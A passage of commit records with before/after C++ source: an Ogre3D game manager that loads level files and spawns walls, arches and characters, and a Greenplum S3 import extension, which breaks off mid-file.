)\n\t\t\t\t{\n\t\t\t\t\t\/\/ reset position\n\t\t\t\t\t\/\/wallPosition.x = 0;\n\t\t\t\t\t\/\/wallPosition.z = 0;\n\n\t\t\t\t\t\/\/ Increment Positions to prevent overlap from reset\n\t\t\t\t\twallPosition.x += 25;\n\t\t\t\t\t\/\/wallPosition.z += 25;\n\t\t\t\t}\n\n\t\t\t\t\/\/wallPosition.z += 50;\n\n\t\t\t\t\/\/ Set blocked area\n\t\t\t}\n\n\n\t\t\t\/\/ Check for Arch\n\t\t\telse if( c == 'A' )\n\t\t\t{\n\t\t\t\tstd::cerr << \"Spawning Arch\" << std::endl;\n\t\t\t\tengine->entityMgr->CreateEntity(EntityType::ARCH, archPosition, 0);\n\t\t\t\tarchPosition.x += 50;\n\n\t\t\t}\n\n\n\t\t\telse if( c == 'C' )\n\t\t\t{\n\t\t\t\t\/\/ Spawn Enemy\n\t\t\t\tstd::cerr << \"Spawning Enemy\" << std::endl;\n\n\t\t\t\tloadCharacters();\n\/*\n\t\t\t\t\/\/ Create Test Enemy\n\t\t\t\tOgre::Entity* enemyEntity = engine->gfxMgr->ogreSceneManager->createEntity(getNewName(), characterMesh);\n\t\t\t\t\/\/ enemyEntity->setMaterialName(\"Examples\/RustySteel\");\n\n\t\t\t\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode(enemyPosition)->attachObject(enemyEntity);\n\n\n\t\t\t\t\/\/ Set Scale and position\n\t\t\t\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->setScale(0.1f, 0.02f, 0.1f);\n\t\t\t\t\/\/engine->gfxMgr->ogreSceneManager->getRootSceneNode()->setPosition(position);\n\n\t\t\t\tenemyPosition.x += 10; \/\/ Increment Positions to prevent overlap\n\t\t\t\t\/\/enemyPosition.z += 50;\n*\/\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ Create the Entities\n\n\t\/\/ Create Skybox for the hell of it\n\tcreateSky();\n}\n\nvoid GameMgr::setupEnvironment()\n{\n\t\/\/We know graphicsMgr is ready and initialized\n\tengine->gfxMgr->ogreSceneManager->setAmbientLight(Ogre::ColourValue(0.5, 0.5, 0.5));\n\tOgre::Light* light = engine->gfxMgr->ogreSceneManager->createLight(\"MainLight\");\n\tlight->setType(Ogre::Light::LT_POINT);\n\tlight->setPosition(100.0, 800.0, 100.0);\n\tlight->setDiffuseColour(Ogre::ColourValue::White);\n\tlight->setSpecularColour(Ogre::ColourValue::White);\n}\n\nvoid GameMgr::loadObjects()\n{\n\n}\n\nvoid GameMgr::loadCharacters()\n{\n\t\/\/Creating the entities\n\tengine->entityMgr->CreateEntity(EntityType::HEARNO, Ogre::Vector3(0, 10, -1000), 0);\n\tengine->entityMgr->CreateEntity(EntityType::SEENO, Ogre::Vector3(500, 0, -500), Ogre::Math::HALF_PI \/ 2);\n\tengine->entityMgr->CreateEntity(EntityType::SPEAKNO, Ogre::Vector3(-500, 20, -500), Ogre::Math::HALF_PI \/ -2);\n\n}\n\nstd::string GameMgr:: getNewName()\n{\n\tstatic int count = 0;\n\n\tstd::string s;\n\tstd::stringstream out;\n\tout << count ++;\n\ts = out.str();\n\n\treturn \"object_\" + s;\n}\n\n\n\n<commit_msg>Removed Ceiling Call<commit_after>\/*\n * gameMgr.cpp\n *\n *  Created on: Mar 11, 2017\n *      Author: sushil\n *\/\n\n#include <gameMgr.h>\n#include <engine.h>\n#include <OgreMeshManager.h>\n\nGameMgr::GameMgr(Engine *engine): Mgr(engine){\n\tfloor = Ogre::Plane(Ogre::Vector3::UNIT_Y, 0);\n    ceiling = new Ogre::MovablePlane(\"ceiling\");\n    ceiling->d = 0;\n    ceiling->normal = Ogre::Vector3::UNIT_Y;\n}\n\nGameMgr::~GameMgr(){\n\n}\n\nvoid GameMgr::init(){\n\n}\n\nvoid GameMgr::loadLevel(){\n\tthis->loadLevel(\"level001.txt\");\n\n}\n\nvoid GameMgr::stop(){\n\n}\n\nvoid GameMgr::tick(float dt){\n\n}\n\n\nvoid GameMgr::createGround(int &width, int &heigth, std::string &material)\n{\n\t\/\/ Create Plane \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::MeshManager::getSingleton().createPlane(\n\t    \"ground\",\n\t    Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n\t    floor,\n\t\twidth, heigth, 20, 20,\n\t    true,\n\t    1, 5, 5,\n\t    Ogre::Vector3::UNIT_Z);\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Create Ground Entity \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::Entity* groundEntity = engine->gfxMgr->ogreSceneManager->createEntity(\"ground\");\n\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode()->attachObject(groundEntity);\n\tgroundEntity->setCastShadows(false);\n\tgroundEntity->setMaterialName(material);\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Create Separated Water Ground \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::Entity* groundEntity2 = engine->gfxMgr->ogreSceneManager->createEntity(\"ground\");\n\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode()->attachObject(groundEntity2);\n\tgroundEntity2->setCastShadows(false);\n\tgroundEntity2->setMaterialName(\"Examples\/WaterStream\");\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n}\n\nvoid GameMgr::createCeiling()\n{\n\tOgre::MovablePlane plane(Ogre::Vector3::UNIT_Y, 50);\n\n\t\/\/ Create Ceiling \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::MeshManager::getSingleton().createPlane(\n\t    \"ceiling\",\n\t    Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME,\n\t\tplane,\n\t\t4000, 3400, 20, 20,\n\t    true,\n\t    1, 5, 5,\n\t    Ogre::Vector3::UNIT_Z);\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\t\/\/ Create Ceiling Entity \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tOgre::Entity* ceiling = engine->gfxMgr->ogreSceneManager->createEntity(\"ceiling\");\n\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode()->attachObject(ceiling);\n\tceiling->setCastShadows(false);\n\tceiling->setMaterialName(\"Examples\/Rockwall\");\n}\n\nvoid GameMgr::createSky(){\n\n\tengine->gfxMgr->ogreSceneManager->setSkyBox(true, \"Examples\/SpaceSkyBox\");\n\n}\n\nvoid GameMgr::loadLevel(std::string levelFilename)\n{\n\t\/\/ Load the environment, objects, and characters\n\tthis->loadEnvironment(levelFilename);\n\tthis->setupEnvironment();\n\tthis->loadObjects();\n\tthis->loadCharacters();\n}\n\nvoid GameMgr::loadEnvironment(std::string levelFilename)\n{\n\t\/\/ Variables\n\tstd::ifstream fin;\n\tint x, z;\n\tfloat x_offset, y_offset, z_offset;\n\tfloat scale, orientation;\n\tstd::string groundMaterial, objectMesh, characterMesh;\n\tstd::string buffer;\n\tchar objectChar;\n\n\n\t\/\/ Open File\n\tfin.open(levelFilename);\n\n\t\/\/ Check for bad file\n\tif(!fin.is_open())\n\t{\n\t\tstd::cerr << \"ERROR, FILE CANNOT BE OPENED\" << std::endl;\n\t\treturn;\n\t}\n\n\t\/\/ First block is world dimensions and material name\n\tfin >> x >> z;\n\tfin >> groundMaterial;\n\n\t\/\/ TESTING FILE READ \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstd::cerr << \"Ground Dimensions: \" << x << \" x \" << z << std::endl;\n\tstd::cerr << \"Ground Material: \" << groundMaterial << std::endl;\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Create floor mesh with read in dimensions\n\tcreateGround( x, z, groundMaterial);\n\n\t\/\/ Create Ceiling\n\t\/\/ createCeiling(); DEBUG THIS LATER\n\n\t\/\/ Second block reads in location of you and enemies\n\t\/\/ Check for Objects line\n\tfin >> buffer;\n\n\tif( buffer != \"Objects\" )\n\t{\n\t\tstd::cerr << \"FILE NOT FORMATTED CORRECTLY\" << std::endl;\n\t}\n\n\t\/\/ Read Objects and positions\n\tfin >> objectChar >> objectMesh;\n\tfin >> x_offset >> y_offset >> z_offset;\n\tfin >> orientation >> scale;\n\n\t\/\/ Testing Second Box Readin \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstd::cerr << \"Objects\" << std::endl;\n\tstd::cerr << objectChar << \" \" << objectMesh << std::endl;\n\tstd::cerr << \"Located at: \" << x_offset << \", \" << y_offset << \", \" << z_offset << std::endl;\n\tstd::cerr << \"Scaled at: \" << orientation << \" \" << scale << std::endl;\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\t\/\/ Check for Characters line \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tfin >> buffer;\n\n\tif( buffer != \"Characters\" )\n\t{\n\t\tstd::cerr << \"FILE NOT FORMATTED CORRECTLY\" << std::endl;\n\t}\n\n\t\/\/ Read in Characters\n\tfin >> objectChar >> characterMesh;\n\tfin >> x_offset >> y_offset >> z_offset;\n\tfin >> orientation >> scale;\n\n\t\/\/ Testing Third Box Readin \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tstd::cerr << \"Characters\" << std::endl;\n\tstd::cerr << objectChar << \" \" << characterMesh << std::endl;\n\tstd::cerr << \"Located at: \" << x_offset << \", \" << y_offset << \", \" << z_offset << std::endl;\n\tstd::cerr << \"Scaled at: \" << orientation << \" \" << scale << std::endl;\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\/\/ Read the World Placement \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tchar c;\n\n\t\/\/ Start to see if world is in file\n\tfin >> buffer;\n\n\tif( buffer != \"World\" )\n\t{\n\t\tstd::cerr << \"FILE NOT FORMATTED CORRECTLY\" << std::endl;\n\t}\n\n\n\t\/\/ Pre Conditions for World setup\n\tOgre::Vector3 wallPosition;\n\twallPosition = Ogre::Vector3(-1850, 50, 1200);\n\n\tOgre::Vector3 archPosition;\n\tarchPosition = Ogre::Vector3(0, 0, 0);\n\n\tOgre::Vector3 enemyPosition;\n\tenemyPosition = Ogre::Vector3(-1200, 0, 1000);\n\n\t\/*\n\tOgre::ManualObject test;\n\ttest.convertToMesh(objectMesh, Ogre::ResourceGroupManager::DEFAULT_RESOURCE_GROUP_NAME);\n\t*\/\n\n\t\/\/ Loop through map dimensions\n\tfor( int row = 0; row < ROW_SIZE; row++ )\n\t{\n\t\tfor( int col = 0; col < COL_SIZE; col++ )\n\t\t{\n\t\t\tfin >> c;\n\t\t\tstd::cerr << c << std::endl;\n\n\n\t\t\t\/\/ Check for walls (Not player or enemy nodes)\n\t\t\tif( c == 'W' )\n\t\t\t{\n\t\t\t\tstd::cerr << \"Creating Wall\" << std::endl;\n\n\t\t\t\tengine->entityMgr->CreateEntity(EntityType::WALL, wallPosition, 0);\n\t\t\t\t\/\/engine->entityMgr->\n\n\t\t\t\t\/\/ Create a Wall\n\t\t\t\t\/*\n\t\t\t\tOgre::Entity* wallEntity = engine->gfxMgr->ogreSceneManager->createEntity(getNewName(), objectMesh);\n\t\t\t\twallEntity->setMaterialName(\"Examples\/RustySteel\");\n\t\t\t\tengine->gfxMgr->wallNode = engine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode(wallPosition);\n\t\t\t\tengine->gfxMgr->wallNode->attachObject(wallEntity);\n\t\t\t\t*\/\n\n\n\t\t\t\t\/\/ Set Scale and position\n\t\t\t\t\/\/engine->gfxMgr->ogreSceneManager->getRootSceneNode()->setScale(0.1f, 1.0f, 0.1f);\n\t\t\t\t\/\/engine->gfxMgr->ogreSceneManager->getRootSceneNode()->setPosition(wallPosition);\n\n\t\t\t\t\/\/ Check wall position to prevent going outside of map\n\t\t\t\tif( wallPosition.x < 1800 ||\n\t\t\t\t\twallPosition.x > -1800 ||\n\t\t\t\t\twallPosition.z > -3000 ||\n\t\t\t\t\twallPosition.z < 3000 )\n\t\t\t\t{\n\t\t\t\t\t\/\/ reset position\n\t\t\t\t\t\/\/wallPosition.x = 0;\n\t\t\t\t\t\/\/wallPosition.z = 0;\n\n\t\t\t\t\t\/\/ Increment Positions to prevent overlap from reset\n\t\t\t\t\twallPosition.x += 25;\n\t\t\t\t\t\/\/wallPosition.z += 25;\n\t\t\t\t}\n\n\t\t\t\t\/\/wallPosition.z += 50;\n\n\t\t\t\t\/\/ Set blocked area\n\t\t\t}\n\n\n\t\t\t\/\/ Check for Arch\n\t\t\telse if( c == 'A' )\n\t\t\t{\n\t\t\t\tstd::cerr << \"Spawning Arch\" << std::endl;\n\t\t\t\tengine->entityMgr->CreateEntity(EntityType::ARCH, archPosition, 0);\n\t\t\t\tarchPosition.x += 50;\n\n\t\t\t}\n\n\n\t\t\telse if( c == 'C' )\n\t\t\t{\n\t\t\t\t\/\/ Spawn Enemy\n\t\t\t\tstd::cerr << \"Spawning Enemy\" << std::endl;\n\n\t\t\t\tloadCharacters();\n\/*\n\t\t\t\t\/\/ Create Test Enemy\n\t\t\t\tOgre::Entity* enemyEntity = engine->gfxMgr->ogreSceneManager->createEntity(getNewName(), characterMesh);\n\t\t\t\t\/\/ enemyEntity->setMaterialName(\"Examples\/RustySteel\");\n\n\t\t\t\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->createChildSceneNode(enemyPosition)->attachObject(enemyEntity);\n\n\n\t\t\t\t\/\/ Set Scale and position\n\t\t\t\tengine->gfxMgr->ogreSceneManager->getRootSceneNode()->setScale(0.1f, 0.02f, 0.1f);\n\t\t\t\t\/\/engine->gfxMgr->ogreSceneManager->getRootSceneNode()->setPosition(position);\n\n\t\t\t\tenemyPosition.x += 10; \/\/ Increment Positions to prevent overlap\n\t\t\t\t\/\/enemyPosition.z += 50;\n*\/\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ Create the Entities\n\n\t\/\/ Create Skybox for the hell of it\n\tcreateSky();\n}\n\nvoid GameMgr::setupEnvironment()\n{\n\t\/\/We know graphicsMgr is ready and initialized\n\tengine->gfxMgr->ogreSceneManager->setAmbientLight(Ogre::ColourValue(0.5, 0.5, 0.5));\n\tOgre::Light* light = engine->gfxMgr->ogreSceneManager->createLight(\"MainLight\");\n\tlight->setType(Ogre::Light::LT_POINT);\n\tlight->setPosition(100.0, 800.0, 100.0);\n\tlight->setDiffuseColour(Ogre::ColourValue::White);\n\tlight->setSpecularColour(Ogre::ColourValue::White);\n}\n\nvoid GameMgr::loadObjects()\n{\n\n}\n\nvoid GameMgr::loadCharacters()\n{\n\t\/\/Creating the entities\n\tengine->entityMgr->CreateEntity(EntityType::HEARNO, Ogre::Vector3(0, 10, -1000), 0);\n\tengine->entityMgr->CreateEntity(EntityType::SEENO, Ogre::Vector3(500, 0, -500), Ogre::Math::HALF_PI \/ 2);\n\tengine->entityMgr->CreateEntity(EntityType::SPEAKNO, Ogre::Vector3(-500, 20, -500), Ogre::Math::HALF_PI \/ -2);\n\n}\n\nstd::string GameMgr:: getNewName()\n{\n\tstatic int count = 0;\n\n\tstd::string s;\n\tstd::stringstream out;\n\tout << count ++;\n\ts = out.str();\n\n\treturn \"object_\" + s;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#define PGDLLIMPORT \"C\"\n\n#include <cstdlib>\n\n#include \"postgres.h\"\n#include \"funcapi.h\"\n\n#include \"access\/extprotocol.h\"\n#include \"catalog\/pg_proc.h\"\n#include \"utils\/array.h\"\n#include \"utils\/builtins.h\"\n#include \"utils\/memutils.h\"\n#include \"fmgr.h\"\n\n#include \"S3ExtWrapper.h\"\n#include \"S3Common.h\"\n#include \"S3Log.h\"\n#include \"utils.h\"\n\n#include \"gps3ext.h\"\n#include \"gps3conf.h\"\n\n#include <signal.h>\n#include <pthread.h>\n#include <openssl\/err.h>\n\n\/* Do the module magic dance *\/\n\nPG_MODULE_MAGIC;\nPG_FUNCTION_INFO_V1(s3_export);\nPG_FUNCTION_INFO_V1(s3_import);\nPG_FUNCTION_INFO_V1(s3_validate_urls);\n\nextern \"C\" {\nDatum s3_export(PG_FUNCTION_ARGS);\nDatum s3_import(PG_FUNCTION_ARGS);\nDatum s3_validate_urls(PG_FUNCTION_ARGS);\n}\n\n#define MUTEX_TYPE pthread_mutex_t\n#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)\n#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))\n#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))\n#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))\n#define THREAD_ID pthread_self()\n\n\/* This array will store all of the mutexes available to OpenSSL. *\/\nstatic MUTEX_TYPE *mutex_buf = NULL;\n\nstatic void locking_function(int mode, int n, const char *file, int line) {\n    if (mode & CRYPTO_LOCK)\n        MUTEX_LOCK(mutex_buf[n]);\n    else\n        MUTEX_UNLOCK(mutex_buf[n]);\n}\n\nstatic unsigned long id_function(void) { return ((unsigned long)THREAD_ID); }\n\nint thread_setup(void) {\n    int i;\n\n    mutex_buf =\n        (pthread_mutex_t *)palloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));\n    if (!mutex_buf) return 0;\n    for (i = 0; i < CRYPTO_num_locks(); i++) MUTEX_SETUP(mutex_buf[i]);\n    CRYPTO_set_id_callback(id_function);\n    CRYPTO_set_locking_callback(locking_function);\n    return 1;\n}\n\nint thread_cleanup(void) {\n    int i;\n\n    if (!mutex_buf) return 0;\n    CRYPTO_set_id_callback(NULL);\n    CRYPTO_set_locking_callback(NULL);\n    for (i = 0; i < CRYPTO_num_locks(); i++) MUTEX_CLEANUP(mutex_buf[i]);\n    pfree(mutex_buf);\n    mutex_buf = NULL;\n    return 1;\n}\n\n\/*\n * Import data into GPDB.\n * invoked by GPDB, be careful with C++ exceptions.\n *\/\nDatum s3_import(PG_FUNCTION_ARGS) {\n    S3ExtBase *myData;\n    char *data;\n    int data_len;\n    size_t nread = 0;\n\n    \/* Must be called via the external table format manager *\/\n    if (!CALLED_AS_EXTPROTOCOL(fcinfo))\n        elog(ERROR,\n             \"extprotocol_import: not called by external protocol manager\");\n\n    \/* Get our internal description of the protocol *\/\n    myData = (S3ExtBase *)EXTPROTOCOL_GET_USER_CTX(fcinfo);\n\n    if (EXTPROTOCOL_IS_LAST_CALL(fcinfo)) {\n        if (myData) {\n            thread_cleanup();\n            try {\n                if (!myData->Destroy()) {\n                    ereport(ERROR,\n                            (0, errmsg(\"Failed to cleanup S3 extention\")));\n                }\n            } catch (...) {\n                ereport(ERROR, (0, errmsg(\"Failed to cleanup S3 extention\")));\n            }\n            delete myData;\n        }\n        PG_RETURN_INT32(0);\n    }\n\n    if (myData == NULL) {\n        \/* first call. do any desired init *\/\n        curl_global_init(CURL_GLOBAL_ALL);\n        thread_setup();\n\n        const char *p_name = \"s3\";\n        char *url_with_options = EXTPROTOCOL_GET_URL(fcinfo);\n\n        \/\/ clean C func, no exception risk here\n        char *url = truncate_options(url_with_options);\n\n        \/\/ clean C func, no exception risk here\n        char *config_path = get_opt_s3(url_with_options, \"config\");\n        if (!config_path) {\n            \/\/ no config path in url, use default value\n            \/\/ data_folder\/gpseg0\/s3\/s3.conf\n            config_path = strdup(\"s3\/s3.conf\");\n        }\n\n        bool result = 0;\n        try {\n            result = InitConfig(config_path, \"\");\n        } catch (...) {\n            result = 0;\n        }\n        if (!result) {\n            free(config_path);\n            ereport(ERROR, (0, errmsg(\"Can't find config file, please check\")));\n        } else {\n            try {\n                ClearConfig();\n            } catch (...) {\n            }\n            free(config_path);\n        }\n\n        try {\n            InitLog();\n        } catch (...) {\n        }\n\n        if (s3ext_accessid == \"\") {\n            ereport(ERROR, (0, errmsg(\"ERROR: access id is empty\")));\n        }\n\n        if (s3ext_secret == \"\") {\n            ereport(ERROR, (0, errmsg(\"ERROR: secret is empty\")));\n        }\n\n        if ((s3ext_segnum == -1) || (s3ext_segid == -1)) {\n            ereport(ERROR, (0, errmsg(\"ERROR: segment id is invalid\")));\n        }\n\n        try {\n            myData = CreateExtWrapper(url);\n\n            if (!myData ||\n                !myData->Init(s3ext_segid, s3ext_segnum, s3ext_chunksize)) {\n                if (myData) delete myData;\n                ereport(ERROR,\n                        (0, errmsg(\"Failed to init S3 extension, segid = \"\n                                   \"%d, segnum = %d, please check your \"\n                                   \"configurations and net connection\",\n                                   s3ext_segid, s3ext_segnum)));\n            }\n        } catch (...) {\n            if (myData) delete myData;\n            ereport(ERROR, (0, errmsg(\"Failed to init S3 extension, segid = \"\n                                      \"%d, segnum = %d, please check your \"\n                                      \"configurations and net connection\",\n                                      s3ext_segid, s3ext_segnum)));\n        }\n\n        EXTPROTOCOL_SET_USER_CTX(fcinfo, myData);\n\n        free(url);\n    }\n\n    \/* =======================================================================\n     *                            DO THE IMPORT\n     * =======================================================================\n     *\/\n\n    data = EXTPROTOCOL_GET_DATABUF(fcinfo);\n    data_len = EXTPROTOCOL_GET_DATALEN(fcinfo);\n    uint64_t readlen = 0;\n    if (data_len > 0) {\n        readlen = data_len;\n        try {\n            if (!myData->TransferData(data, readlen)) {\n                ereport(ERROR, (0, errmsg(\"s3_import: could not read data\")));\n            }\n            nread = (size_t)readlen;\n        } catch (...) {\n            ereport(ERROR, (0, errmsg(\"s3_import: could not read data\")));\n        }\n        \/\/ S3DEBUG(\"read %d data from S3\", nread);\n    }\n\n    PG_RETURN_INT32((int)nread);\n}\n\n\/*\n * Export data out of GPDB.\n * invoked by GPDB, be careful with C++ exceptions.\n *\/\nDatum s3_export(PG_FUNCTION_ARGS) { PG_RETURN_INT32(0); }\n\nDatum s3_validate_urls(PG_FUNCTION_ARGS) {\n    int nurls;\n    int i;\n    ValidatorDirection direction;\n    PG_RETURN_VOID();\n}\n<commit_msg>Revert \"catch any exceptions thrown by C++ functions\"<commit_after>#define PGDLLIMPORT \"C\"\n\n#include <cstdlib>\n\n#include \"postgres.h\"\n#include \"funcapi.h\"\n\n#include \"access\/extprotocol.h\"\n#include \"catalog\/pg_proc.h\"\n#include \"utils\/array.h\"\n#include \"utils\/builtins.h\"\n#include \"utils\/memutils.h\"\n#include \"fmgr.h\"\n\n#include \"S3ExtWrapper.h\"\n#include \"S3Common.h\"\n#include \"S3Log.h\"\n#include \"utils.h\"\n\n#include \"gps3ext.h\"\n#include \"gps3conf.h\"\n\n#include <signal.h>\n#include <pthread.h>\n#include <openssl\/err.h>\n\n\/* Do the module magic dance *\/\n\nPG_MODULE_MAGIC;\nPG_FUNCTION_INFO_V1(s3_export);\nPG_FUNCTION_INFO_V1(s3_import);\nPG_FUNCTION_INFO_V1(s3_validate_urls);\n\nextern \"C\" {\nDatum s3_export(PG_FUNCTION_ARGS);\nDatum s3_import(PG_FUNCTION_ARGS);\nDatum s3_validate_urls(PG_FUNCTION_ARGS);\n}\n\n#define MUTEX_TYPE pthread_mutex_t\n#define MUTEX_SETUP(x) pthread_mutex_init(&(x), NULL)\n#define MUTEX_CLEANUP(x) pthread_mutex_destroy(&(x))\n#define MUTEX_LOCK(x) pthread_mutex_lock(&(x))\n#define MUTEX_UNLOCK(x) pthread_mutex_unlock(&(x))\n#define THREAD_ID pthread_self()\n\n\/* This array will store all of the mutexes available to OpenSSL. *\/\nstatic MUTEX_TYPE *mutex_buf = NULL;\n\nstatic void locking_function(int mode, int n, const char *file, int line) {\n    if (mode & CRYPTO_LOCK)\n        MUTEX_LOCK(mutex_buf[n]);\n    else\n        MUTEX_UNLOCK(mutex_buf[n]);\n}\n\nstatic unsigned long id_function(void) { return ((unsigned long)THREAD_ID); }\n\nint thread_setup(void) {\n    int i;\n\n    mutex_buf =\n        (pthread_mutex_t *)palloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE));\n    if (!mutex_buf) return 0;\n    for (i = 0; i < CRYPTO_num_locks(); i++) MUTEX_SETUP(mutex_buf[i]);\n    CRYPTO_set_id_callback(id_function);\n    CRYPTO_set_locking_callback(locking_function);\n    return 1;\n}\n\nint thread_cleanup(void) {\n    int i;\n\n    if (!mutex_buf) return 0;\n    CRYPTO_set_id_callback(NULL);\n    CRYPTO_set_locking_callback(NULL);\n    for (i = 0; i < CRYPTO_num_locks(); i++) MUTEX_CLEANUP(mutex_buf[i]);\n    pfree(mutex_buf);\n    mutex_buf = NULL;\n    return 1;\n}\n\n\/*\n * Import data into GPDB.\n *\/\nDatum s3_import(PG_FUNCTION_ARGS) {\n    S3ExtBase *myData;\n    char *data;\n    int data_len;\n    size_t nread = 0;\n\n    \/* Must be called via the external table format manager *\/\n    if (!CALLED_AS_EXTPROTOCOL(fcinfo))\n        elog(ERROR,\n             \"extprotocol_import: not called by external protocol manager\");\n\n    \/* Get our internal description of the protocol *\/\n    myData = (S3ExtBase *)EXTPROTOCOL_GET_USER_CTX(fcinfo);\n\n    if (EXTPROTOCOL_IS_LAST_CALL(fcinfo)) {\n        if (myData) {\n            thread_cleanup();\n            if (!myData->Destroy()) {\n                ereport(ERROR, (0, errmsg(\"Cleanup S3 extention failed\")));\n            }\n            delete myData;\n        }\n        PG_RETURN_INT32(0);\n    }\n\n    if (myData == NULL) {\n        \/* first call. do any desired init *\/\n        curl_global_init(CURL_GLOBAL_ALL);\n        thread_setup();\n\n        const char *p_name = \"s3\";\n        char *url_with_options = EXTPROTOCOL_GET_URL(fcinfo);\n        char *url = truncate_options(url_with_options);\n\n        char *config_path = get_opt_s3(url_with_options, \"config\");\n        if (!config_path) {\n            \/\/ no config path in url, use default value\n            \/\/ data_folder\/gpseg0\/s3\/s3.conf\n            